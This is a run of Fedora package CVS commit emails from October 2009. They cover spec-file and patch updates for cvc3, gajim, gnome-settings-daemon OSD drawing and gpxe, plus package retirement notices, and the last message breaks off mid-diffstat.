 org.eclipse.ant.optional.junit,0.0.0=v20080717
 org.eclipse.rse.subsystems.wince,0.0.0=v200905272300



From jjames at fedoraproject.org  Tue Oct 27 21:59:36 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 27 Oct 2009 21:59:36 +0000 (UTC)
Subject: rpms/cvc3/F-11 cvc3.spec,1.2,1.3
Message-ID: <20091027215936.4539B11C00E6@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27499/F-11

Modified Files:
	cvc3.spec 
Log Message:
Got too aggressive with the noarch tags: -devel is arch-specific.



Index: cvc3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-11/cvc3.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- cvc3.spec	27 Oct 2009 21:43:18 -0000	1.2
+++ cvc3.spec	27 Oct 2009 21:59:35 -0000	1.3
@@ -69,7 +69,6 @@ is not true (e.g., i = 0 and j = -1).
 Group:          Development/Libraries
 Summary:        Header files for development with CVC3
 Requires:       %{name} = %{version}-%{release}
-BuildArch:      noarch
 
 %description devel
 Header files need to develop with CVC3.



From jjames at fedoraproject.org  Tue Oct 27 21:59:37 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 27 Oct 2009 21:59:37 +0000 (UTC)
Subject: rpms/cvc3/devel cvc3.spec,1.2,1.3
Message-ID: <20091027215937.0488111C00E6@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27499/devel

Modified Files:
	cvc3.spec 
Log Message:
Got too aggressive with the noarch tags: -devel is arch-specific.



Index: cvc3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/devel/cvc3.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- cvc3.spec	27 Oct 2009 21:43:21 -0000	1.2
+++ cvc3.spec	27 Oct 2009 21:59:36 -0000	1.3
@@ -69,7 +69,6 @@ is not true (e.g., i = 0 and j = -1).
 Group:          Development/Libraries
 Summary:        Header files for development with CVC3
 Requires:       %{name} = %{version}-%{release}
-BuildArch:      noarch
 
 %description devel
 Header files need to develop with CVC3.



From jjames at fedoraproject.org  Tue Oct 27 21:59:36 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Tue, 27 Oct 2009 21:59:36 +0000 (UTC)
Subject: rpms/cvc3/F-12 cvc3.spec,1.2,1.3
Message-ID: <20091027215936.917E111C00EF@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27499/F-12

Modified Files:
	cvc3.spec 
Log Message:
Got too aggressive with the noarch tags: -devel is arch-specific.



Index: cvc3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cvc3/F-12/cvc3.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- cvc3.spec	27 Oct 2009 21:43:20 -0000	1.2
+++ cvc3.spec	27 Oct 2009 21:59:35 -0000	1.3
@@ -69,7 +69,6 @@ is not true (e.g., i = 0 and j = -1).
 Group:          Development/Libraries
 Summary:        Header files for development with CVC3
 Requires:       %{name} = %{version}-%{release}
-BuildArch:      noarch
 
 %description devel
 Header files need to develop with CVC3.



From pkgdb at fedoraproject.org  Tue Oct 27 22:18:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 22:18:29 +0000
Subject: [pkgdb] tetex-prosper ownership updated
Message-ID: <20091027221829.5750110F88B@bastion2.fedora.phx.redhat.com>

Package tetex-prosper in Fedora devel was orphaned by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-prosper



From pkgdb at fedoraproject.org  Tue Oct 27 22:18:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 22:18:29 +0000
Subject: [pkgdb] tetex-prosper (un)retirement
Message-ID: <20091027221829.8C0DF10F89A@bastion2.fedora.phx.redhat.com>

Package tetex-prosper in Fedora devel has been retired by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-prosper



From pkgdb at fedoraproject.org  Tue Oct 27 22:18:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 22:18:37 +0000
Subject: [pkgdb] tetex-prosper ownership updated
Message-ID: <20091027221837.8DF3710F87E@bastion2.fedora.phx.redhat.com>

Package tetex-prosper in Fedora 12 was orphaned by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-prosper



From michich at fedoraproject.org  Tue Oct 27 22:18:29 2009
From: michich at fedoraproject.org (Michal Schmidt)
Date: Tue, 27 Oct 2009 22:18:29 +0000 (UTC)
Subject: rpms/gajim/EL-5 gajim-dbus-python-0.7-compat.diff, NONE,
	1.1 gajim.spec, 1.19, 1.20
Message-ID: <20091027221829.9E4CD11C00E6@cvs1.fedora.phx.redhat.com>

Author: michich

Update of /cvs/pkgs/rpms/gajim/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3821

Modified Files:
	gajim.spec 
Added Files:
	gajim-dbus-python-0.7-compat.diff 
Log Message:
* Tue Oct 27 2009 Michal Schmidt <mschmidt at redhat.com> 0.12.5-1.el5.1
- Fix NetworkManager feature (+ gajim-dbus-python-0.7-compat.diff)


gajim-dbus-python-0.7-compat.diff:
 dbus_support.py |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE gajim-dbus-python-0.7-compat.diff ---
Compatibility with dbus-python-0.7

Upstream requires dbus-python >= 0.80.

https://bugzilla.redhat.com/show_bug.cgi?id=531366
http://trac.gajim.org/ticket/5361

Index: gajim-0.12.5/src/common/dbus_support.py
===================================================================
--- gajim-0.12.5.orig/src/common/dbus_support.py
+++ gajim-0.12.5/src/common/dbus_support.py
@@ -77,7 +77,9 @@ class SystemBus:
 			if self.system_bus is None:
 				return False
 			# Don't exit Gajim when dbus is stopped
-			self.system_bus.set_exit_on_disconnect(False)
+			# RHEL5's dbus-python-0.7 does not have the method.
+			# Ignore it. DBus is not supposed to be restarted anyway.
+			#self.system_bus.set_exit_on_disconnect(False)
 		return True
 
 system_bus = SystemBus()


Index: gajim.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gajim/EL-5/gajim.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- gajim.spec	28 Sep 2009 22:35:06 -0000	1.19
+++ gajim.spec	27 Oct 2009 22:18:27 -0000	1.20
@@ -3,13 +3,14 @@
 Summary:	Jabber client written in PyGTK
 Name:		gajim
 Version:	0.12.5
-Release:	1%{?dist}
+Release:	1%{?dist}.1
 License:	GPLv3
 Group:		Applications/Internet
 URL:		http://gajim.org/
 Source0:	http://gajim.org/downloads/%{name}-%{version}.tar.bz2
 Patch0:		%{name}-keyring.diff
 Patch1:		%{name}-gdk-color-to_string.diff
+Patch2:		%{name}-dbus-python-0.7-compat.diff
 
 BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -57,6 +58,7 @@ Gajim does not require GNOME to run, eve
 %setup -q
 %patch0 -p0
 %patch1 -p1
+%patch2 -p1
 
 %build
 %configure --docdir=%{_docdir}/%{name}-%{version} \
@@ -111,6 +113,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/%{name}/trayicon.so
 
 %changelog
+* Tue Oct 27 2009 Michal Schmidt <mschmidt at redhat.com> 0.12.5-1.el5.1
+- Fix NetworkManager feature (+ gajim-dbus-python-0.7-compat.diff)
+
 * Mon Sep 28 2009 Michal Schmidt <mschmidt at redhat.com> - 0.12.5-1
 - Update to 0.12.5, backport from Debarshi Ray's devel/ branch.
 - Avoid bug caused by dependency on newer Gtk (gajim-gdk-color-to_string.diff)



From pkgdb at fedoraproject.org  Tue Oct 27 22:18:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 27 Oct 2009 22:18:37 +0000
Subject: [pkgdb] tetex-prosper (un)retirement
Message-ID: <20091027221837.CF5EB10F895@bastion2.fedora.phx.redhat.com>

Package tetex-prosper in Fedora 12 has been retired by spot

To make changes to this package see:
  /pkgdb/packages/name/tetex-prosper



From hadess at fedoraproject.org  Tue Oct 27 22:31:12 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 27 Oct 2009 22:31:12 +0000 (UTC)
Subject: rpms/gnome-settings-daemon/F-12
	0001-Fix-bluriness-in-level-bar-and-popup.patch, NONE,
	1.1 0002-Use-a-rounded-instead-of-curved-rectangle.patch, NONE,
	1.1 0003-Improve-the-media-keys-overlay-design.patch, NONE,
	1.1 gnome-settings-daemon.spec, 1.131,
	1.132 0001-Bug-594617-Touchpad-left-handed-bug-fixes.patch, 1.1,
	NONE 0001-Update-gnome-volume-control-code.patch, 1.1,
	NONE composited-changed.patch, 1.1,
	NONE fix-variant-handling.patch, 1.1,
	NONE gnome-settings-daemon-2.26.0-support-touchpads.patch, 1.1,
	NONE locate-pointer-csw.patch, 1.1,
	NONE locate-pointer-process.patch, 1.1,
	NONE osd-rounded-rectangle.patch, 1.1,
	NONE osd-visual-refresh.patch, 1.1, NONE xklavier4.patch, 1.1, NONE
Message-ID: <20091027223112.C7D3E11C029E@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-settings-daemon/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8458

Modified Files:
	gnome-settings-daemon.spec 
Added Files:
	0001-Fix-bluriness-in-level-bar-and-popup.patch 
	0002-Use-a-rounded-instead-of-curved-rectangle.patch 
	0003-Improve-the-media-keys-overlay-design.patch 
Removed Files:
	0001-Bug-594617-Touchpad-left-handed-bug-fixes.patch 
	0001-Update-gnome-volume-control-code.patch 
	composited-changed.patch fix-variant-handling.patch 
	gnome-settings-daemon-2.26.0-support-touchpads.patch 
	locate-pointer-csw.patch locate-pointer-process.patch 
	osd-rounded-rectangle.patch osd-visual-refresh.patch 
	xklavier4.patch 
Log Message:
* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
- Fix bluriness in OSD


0001-Fix-bluriness-in-level-bar-and-popup.patch:
 gsd-media-keys-window.c |   19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

--- NEW FILE 0001-Fix-bluriness-in-level-bar-and-popup.patch ---
>From fadc8f8aaa65eecc855350a1dea9cfc8c255620f Mon Sep 17 00:00:00 2001
From: Bastien Nocera <hadess at hadess.net>
Date: Mon, 26 Oct 2009 14:55:55 +0000
Subject: [PATCH 1/3] Fix bluriness in level bar, and popup

By shifting the top-left coordinates by half a pixel, to match
the cairo grid.

This makes the outter border of the popup, as well as the
level bar's borders much sharper.

https://bugzilla.gnome.org/show_bug.cgi?id=567249
---
 plugins/media-keys/gsd-media-keys-window.c |   18 +++++++++++-------
 1 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
index 9306b92..f890344 100644
--- a/plugins/media-keys/gsd-media-keys-window.c
+++ b/plugins/media-keys/gsd-media-keys-window.c
@@ -610,7 +610,11 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
         GdkColor color;
         double   r, g, b;
 
-        x1 = width * percentage;
+        x0 += 0.5;
+        y0 += 0.5;
+        height = round (height) - 1;
+        width = round (width) - 1;
+        x1 = round ((width - 1) * percentage);
 
         /* bar background */
         color = GTK_WIDGET (window)->style->dark [GTK_STATE_NORMAL];
@@ -636,7 +640,7 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0, y0, x1, height);
+        cairo_rectangle (cr, x0 + 0.5, y0 + 0.5, x1, height - 1);
         cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
         cairo_fill (cr);
 }
@@ -659,15 +663,15 @@ draw_action_volume (GsdMediaKeysWindow *window,
 
         gtk_window_get_size (GTK_WINDOW (window), &window_width, &window_height);
 
-        icon_box_width = window_width * 0.65;
-        icon_box_height = window_height * 0.65;
+        icon_box_width = round (window_width * 0.65);
+        icon_box_height = round (window_height * 0.65);
         volume_box_width = icon_box_width;
-        volume_box_height = window_height * 0.05;
+        volume_box_height = round (window_height * 0.05);
 
         icon_box_x0 = (window_width - icon_box_width) / 2;
         icon_box_y0 = (window_height - icon_box_height - volume_box_height) / 2;
-        volume_box_x0 = icon_box_x0;
-        volume_box_y0 = icon_box_height + icon_box_y0;
+        volume_box_x0 = round (icon_box_x0);
+        volume_box_y0 = round (icon_box_height + icon_box_y0);
 
 #if 0
         g_message ("icon box: w=%f h=%f x0=%f y0=%f",
-- 
1.6.5.rc2


0002-Use-a-rounded-instead-of-curved-rectangle.patch:
 gsd-media-keys-window.c |  104 ++++++++++++++++++++++--------------------------
 1 file changed, 49 insertions(+), 55 deletions(-)

--- NEW FILE 0002-Use-a-rounded-instead-of-curved-rectangle.patch ---
>From dab2e6b44c57e14dd373adf04d4530bd5915f582 Mon Sep 17 00:00:00 2001
From: William Jon McCann <jmccann at redhat.com>
Date: Wed, 23 Sep 2009 20:23:31 -0400
Subject: [PATCH 2/3] Use a rounded instead of curved rectangle

---
 plugins/media-keys/gsd-media-keys-window.c |  101 +++++++++++++---------------
 1 files changed, 48 insertions(+), 53 deletions(-)

diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
index f890344..cffbe3e 100644
--- a/plugins/media-keys/gsd-media-keys-window.c
+++ b/plugins/media-keys/gsd-media-keys-window.c
@@ -260,59 +260,54 @@ gsd_media_keys_window_set_volume_level (GsdMediaKeysWindow *window,
 }
 
 static void
-curved_rectangle (cairo_t *cr,
-                  double   x0,
-                  double   y0,
-                  double   width,
-                  double   height,
-                  double   radius)
-{
-        double x1;
-        double y1;
-
-        x1 = x0 + width;
-        y1 = y0 + height;
-
-        if (!width || !height) {
-                return;
-        }
-
-        if (width / 2 < radius) {
-                if (height / 2 < radius) {
-                        cairo_move_to  (cr, x0, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x0 ,y0, x0, y0, (x0 + x1) / 2, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x1, y1, x1, y1, (x1 + x0) / 2, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, (y0 + y1) / 2);
-                } else {
-                        cairo_move_to  (cr, x0, y0 + radius);
-                        cairo_curve_to (cr, x0, y0, x0, y0, (x0 + x1) / 2, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, y0 + radius);
-                        cairo_line_to (cr, x1, y1 - radius);
-                        cairo_curve_to (cr, x1, y1, x1, y1, (x1 + x0) / 2, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, y1 - radius);
-                }
-        } else {
-                if (height / 2 < radius) {
-                        cairo_move_to  (cr, x0, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x0, y0, x0 , y0, x0 + radius, y0);
-                        cairo_line_to (cr, x1 - radius, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, (y0 + y1) / 2);
-                        cairo_curve_to (cr, x1, y1, x1, y1, x1 - radius, y1);
-                        cairo_line_to (cr, x0 + radius, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, (y0 + y1) / 2);
-                } else {
-                        cairo_move_to  (cr, x0, y0 + radius);
-                        cairo_curve_to (cr, x0 , y0, x0 , y0, x0 + radius, y0);
-                        cairo_line_to (cr, x1 - radius, y0);
-                        cairo_curve_to (cr, x1, y0, x1, y0, x1, y0 + radius);
-                        cairo_line_to (cr, x1, y1 - radius);
-                        cairo_curve_to (cr, x1, y1, x1, y1, x1 - radius, y1);
-                        cairo_line_to (cr, x0 + radius, y1);
-                        cairo_curve_to (cr, x0, y1, x0, y1, x0, y1 - radius);
-                }
-        }
-
+rounded_rectangle (cairo_t* cr,
+                   gdouble  aspect,
+                   gdouble  x,
+                   gdouble  y,
+                   gdouble  corner_radius,
+                   gdouble  width,
+                   gdouble  height)
+{
+        gdouble radius = corner_radius / aspect;
+
+        cairo_move_to (cr, x + radius, y);
+
+        cairo_line_to (cr,
+                       x + width - radius,
+                       y);
+        cairo_arc (cr,
+                   x + width - radius,
+                   y + radius,
+                   radius,
+                   -90.0f * G_PI / 180.0f,
+                   0.0f * G_PI / 180.0f);
+        cairo_line_to (cr,
+                       x + width,
+                       y + height - radius);
+        cairo_arc (cr,
+                   x + width - radius,
+                   y + height - radius,
+                   radius,
+                   0.0f * G_PI / 180.0f,
+                   90.0f * G_PI / 180.0f);
+        cairo_line_to (cr,
+                       x + radius,
+                       y + height);
+        cairo_arc (cr,
+                   x + radius,
+                   y + height - radius,
+                   radius,
+                   90.0f * G_PI / 180.0f,
+                   180.0f * G_PI / 180.0f);
+        cairo_line_to (cr,
+                       x,
+                       y + radius);
+        cairo_arc (cr,
+                   x + radius,
+                   y + radius,
+                   radius,
+                   180.0f * G_PI / 180.0f,
+                   270.0f * G_PI / 180.0f);
         cairo_close_path (cr);
 }
 
@@ -799,7 +794,7 @@ on_expose_event (GtkWidget          *widget,
         cairo_paint (cr);
 
         /* draw a box */
-        curved_rectangle (cr, 0.5, 0.5, width-1, height-1, height / 10);
+        rounded_rectangle (cr, 1.0, 0.5, 0.5, height / 10, width-1, height-1);
         color = GTK_WIDGET (window)->style->bg [GTK_STATE_NORMAL];
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
-- 
1.6.5.rc2


0003-Improve-the-media-keys-overlay-design.patch:
 gsd-media-keys-window.c |   60 ++++++++++++++++++++++++++++++++++++------------
 1 file changed, 45 insertions(+), 15 deletions(-)

--- NEW FILE 0003-Improve-the-media-keys-overlay-design.patch ---
>From 26041c5b936263d3f5aa4aa7fc7ffedd128ed444 Mon Sep 17 00:00:00 2001
From: William Jon McCann <jmccann at redhat.com>
Date: Wed, 23 Sep 2009 21:15:45 -0400
Subject: [PATCH 3/3] Improve the media keys overlay design

---
 plugins/media-keys/gsd-media-keys-window.c |   59 +++++++++++++++++++++-------
 1 files changed, 45 insertions(+), 14 deletions(-)

diff --git a/plugins/media-keys/gsd-media-keys-window.c b/plugins/media-keys/gsd-media-keys-window.c
index cffbe3e..c33d624 100644
--- a/plugins/media-keys/gsd-media-keys-window.c
+++ b/plugins/media-keys/gsd-media-keys-window.c
@@ -33,7 +33,7 @@
 #define DIALOG_FADE_TIMEOUT 1500 /* timeout before fade starts */
 #define FADE_TIMEOUT 10        /* timeout in ms between each frame of the fade */
 
-#define BG_ALPHA 0.50
+#define BG_ALPHA 0.75
 #define FG_ALPHA 1.00
 
 static void     gsd_media_keys_window_class_init (GsdMediaKeysWindowClass *klass);
@@ -593,6 +593,36 @@ render_speaker (GsdMediaKeysWindow *window,
 }
 
 static void
+color_reverse (const GdkColor *a,
+               GdkColor       *b)
+{
+        gdouble red;
+        gdouble green;
+        gdouble blue;
+        gdouble h;
+        gdouble s;
+        gdouble v;
+
+        red = (gdouble) a->red / 65535.0;
+        green = (gdouble) a->green / 65535.0;
+        blue = (gdouble) a->blue / 65535.0;
+
+        gtk_rgb_to_hsv (red, green, blue, &h, &s, &v);
+
+        v = 0.5 + (0.5 - v);
+        if (v > 1.0)
+                v = 1.0;
+        else if (v < 0.0)
+                v = 0.0;
+
+        gtk_hsv_to_rgb (h, s, v, &red, &green, &blue);
+
+        b->red = red * 65535.0;
+        b->green = green * 65535.0;
+        b->blue = blue * 65535.0;
+}
+
+static void
 draw_volume_boxes (GsdMediaKeysWindow *window,
                    cairo_t            *cr,
                    double              percentage,
@@ -609,33 +639,34 @@ draw_volume_boxes (GsdMediaKeysWindow *window,
         y0 += 0.5;
         height = round (height) - 1;
         width = round (width) - 1;
-        x1 = round ((width - 1) * percentage);
+        x1 = round ((width - 2) * percentage);
 
         /* bar background */
-        color = GTK_WIDGET (window)->style->dark [GTK_STATE_NORMAL];
+        color_reverse (&GTK_WIDGET (window)->style->dark[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0, y0, width, height);
-        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
-        cairo_fill (cr);
+        rounded_rectangle (cr, 1.0, x0, y0, height / 6, width, height);
+        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA / 2);
+        cairo_fill_preserve (cr);
 
         /* bar border */
-        color = GTK_WIDGET (window)->style->dark [GTK_STATE_SELECTED];
+        color_reverse (&GTK_WIDGET (window)->style->light[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0, y0, width, height);
-        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
+        cairo_set_source_rgba (cr, r, g, b, FG_ALPHA / 2);
         cairo_set_line_width (cr, 1);
         cairo_stroke (cr);
 
         /* bar progress */
-        color = GTK_WIDGET (window)->style->bg [GTK_STATE_SELECTED];
+        if (percentage < 0.01)
+                return;
+        color = GTK_WIDGET (window)->style->bg[GTK_STATE_NORMAL];
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_rectangle (cr, x0 + 0.5, y0 + 0.5, x1, height - 1);
+        rounded_rectangle (cr, 1.0, x0 + 0.5, y0 + 0.5, height / 8, x1, height - 2);
         cairo_set_source_rgba (cr, r, g, b, FG_ALPHA);
         cairo_fill (cr);
 }
@@ -795,18 +826,18 @@ on_expose_event (GtkWidget          *widget,
 
         /* draw a box */
         rounded_rectangle (cr, 1.0, 0.5, 0.5, height / 10, width-1, height-1);
-        color = GTK_WIDGET (window)->style->bg [GTK_STATE_NORMAL];
+        color_reverse (&GTK_WIDGET (window)->style->bg[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
         cairo_set_source_rgba (cr, r, g, b, BG_ALPHA);
         cairo_fill_preserve (cr);
 
-        color = GTK_WIDGET (window)->style->fg [GTK_STATE_NORMAL];
+        color_reverse (&GTK_WIDGET (window)->style->text_aa[GTK_STATE_NORMAL], &color);
         r = (float)color.red / 65535.0;
         g = (float)color.green / 65535.0;
         b = (float)color.blue / 65535.0;
-        cairo_set_source_rgba (cr, r, g, b, BG_ALPHA);
+        cairo_set_source_rgba (cr, r, g, b, BG_ALPHA / 2);
         cairo_set_line_width (cr, 1);
         cairo_stroke (cr);
 
-- 
1.6.5.rc2



Index: gnome-settings-daemon.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-settings-daemon/F-12/gnome-settings-daemon.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- gnome-settings-daemon.spec	26 Oct 2009 21:45:43 -0000	1.131
+++ gnome-settings-daemon.spec	27 Oct 2009 22:31:09 -0000	1.132
@@ -1,6 +1,6 @@
 Name:		gnome-settings-daemon
 Version:	2.28.1
-Release:	3%{?dist}
+Release:	4%{?dist}
 Summary:	The daemon sharing settings from GNOME to GTK+/KDE applications
 
 Group:		System Environment/Daemons
@@ -33,8 +33,10 @@ BuildRequires:  fontconfig-devel
 BuildRequires:	libcanberra-devel
 
 # https://bugzilla.gnome.org/show_bug.cgi?id=596136
-Patch0: osd-rounded-rectangle.patch
-Patch1: osd-visual-refresh.patch
+Patch0: 0002-Use-a-rounded-instead-of-curved-rectangle.patch
+Patch1: 0003-Improve-the-media-keys-overlay-design.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=567249
+Patch4: 0001-Fix-bluriness-in-level-bar-and-popup.patch
 
 # https://bugzilla.redhat.com/show_bug.cgi?id=498249
 Patch2: left-handed-touchpad.patch
@@ -59,6 +61,7 @@ developing applications that use %{name}
 
 %prep
 %setup -q
+%patch4 -p1 -b .blurry
 %patch0 -p1 -b .osd-rounded-rectangle
 %patch1 -p1 -b .osd-visual-refresh
 %patch2 -p1 -b .left-handed-touchpad
@@ -174,6 +177,9 @@ fi
 %{_libdir}/pkgconfig/gnome-settings-daemon.pc
 
 %changelog
+* Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
+- Fix bluriness in OSD
+
 * Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-3
 - Change default font rendering to use slight hinting
 


--- 0001-Bug-594617-Touchpad-left-handed-bug-fixes.patch DELETED ---


--- 0001-Update-gnome-volume-control-code.patch DELETED ---


--- composited-changed.patch DELETED ---


--- fix-variant-handling.patch DELETED ---


--- gnome-settings-daemon-2.26.0-support-touchpads.patch DELETED ---


--- locate-pointer-csw.patch DELETED ---


--- locate-pointer-process.patch DELETED ---


--- osd-rounded-rectangle.patch DELETED ---


--- osd-visual-refresh.patch DELETED ---


--- xklavier4.patch DELETED ---



From mdomsch at fedoraproject.org  Tue Oct 27 22:39:58 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 27 Oct 2009 22:39:58 +0000 (UTC)
Subject: rpms/gpxe/devel .cvsignore, 1.2, 1.3 gpxe.spec, 1.5, 1.6 sources,
	1.2, 1.3
Message-ID: <20091027223958.92E4F11C00E6@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/gpxe/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12117

Modified Files:
	.cvsignore gpxe.spec sources 
Log Message:
update to gpxe 0.9.9 plus cvs fixes


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/gpxe/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	10 May 2009 01:11:21 -0000	1.2
+++ .cvsignore	27 Oct 2009 22:39:58 -0000	1.3
@@ -1 +1 @@
-gpxe-0.9.7.tar.bz2
+gpxe-0.9.9.tar.bz2


Index: gpxe.spec
===================================================================
RCS file: /cvs/extras/rpms/gpxe/devel/gpxe.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- gpxe.spec	6 Oct 2009 03:27:50 -0000	1.5
+++ gpxe.spec	27 Oct 2009 22:39:58 -0000	1.6
@@ -9,8 +9,8 @@
 %global debug_package %{nil}
 
 Name:    gpxe
-Version: 0.9.7
-Release: 6%{?dist}
+Version: 0.9.9
+Release: 1.20091018git%{?dist}
 Summary: A network boot loader
 
 Group:   System Environment/Base
@@ -19,6 +19,7 @@ URL:     http://etherboot.org/
 
 Source0: http://git.etherboot.org/releases/%{name}/%{name}-%{version}.tar.bz2
 Source1: USAGE
+Patch0:  gpxe-0.9.9-20091018.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
 %ifarch %{buildarches}
@@ -74,6 +75,7 @@ DNS, HTTP, iSCSI, etc.
 %prep
 %setup -q
 cp -a %{SOURCE1} .
+%patch0 -p1
 
 %build
 %ifarch %{buildarches}
@@ -142,6 +144,19 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Tue Oct 27 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.9.9-1
+- new upstream version 0.9.9
+-- plus patches from git up to 20090818 which fix build errors and
+   other release-critical bugs.
+-- 0.9.9: added Attansic L1E and sis190/191 ethernet drivers.  Fixes
+   and updates to e1000 and 3c90x drivers.
+-- 0.9.8: new commands: time, sleep, md5sum, sha1sum. 802.11 wireless
+   support with Realtek 8180/8185 and non-802.11n Atheros drivers.
+   New Marvell Yukon-II gigabet Ethernet driver.  HTTP redirection
+   support.  SYSLINUX foloopy image type (.sdsk) with usable file
+   system.  Rewrites, fixes, and updates to 3c90x, forcedeth, pcnet32,
+   e1000, and hermon drivers.
+
 * Mon Oct  5 2009 Matt Domsch <mdomsch at fedoraproject.org> - 0.9.7-6
 - move rtl8029 from -roms to -roms-qemu for qemu ne2k_pci NIC (BZ 526776)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/gpxe/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	10 May 2009 01:11:21 -0000	1.2
+++ sources	27 Oct 2009 22:39:58 -0000	1.3
@@ -1 +1 @@
-b98151de60569e015bbc663445f0f3c5  gpxe-0.9.7.tar.bz2
+6a2a45beb861fa9302ce2114a427cc54  gpxe-0.9.9.tar.bz2



From mdomsch at fedoraproject.org  Tue Oct 27 22:40:26 2009
From: mdomsch at fedoraproject.org (Matt Domsch)
Date: Tue, 27 Oct 2009 22:40:26 +0000 (UTC)
Subject: rpms/gpxe/devel gpxe-0.9.9-20091018.patch,NONE,1.1
Message-ID: <20091027224026.F39B111C02C6@cvs1.fedora.phx.redhat.com>

Author: mdomsch

Update of /cvs/extras/rpms/gpxe/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12288

Added Files:
	gpxe-0.9.9-20091018.patch 
Log Message:
really add patch

gpxe-0.9.9-20091018.patch:
 b/src/Makefile                          |    3 -
 b/src/arch/i386/interface/pcbios/ibft.c |    4 +-
 b/src/drivers/net/atl1e.c               |   18 +++++-----
 b/src/drivers/net/ipoib.c               |   57 ++++++++++++++++++++++++++++++++
 b/src/drivers/net/sis190.c              |    5 +-
 b/src/drivers/net/sis190.h              |    4 +-
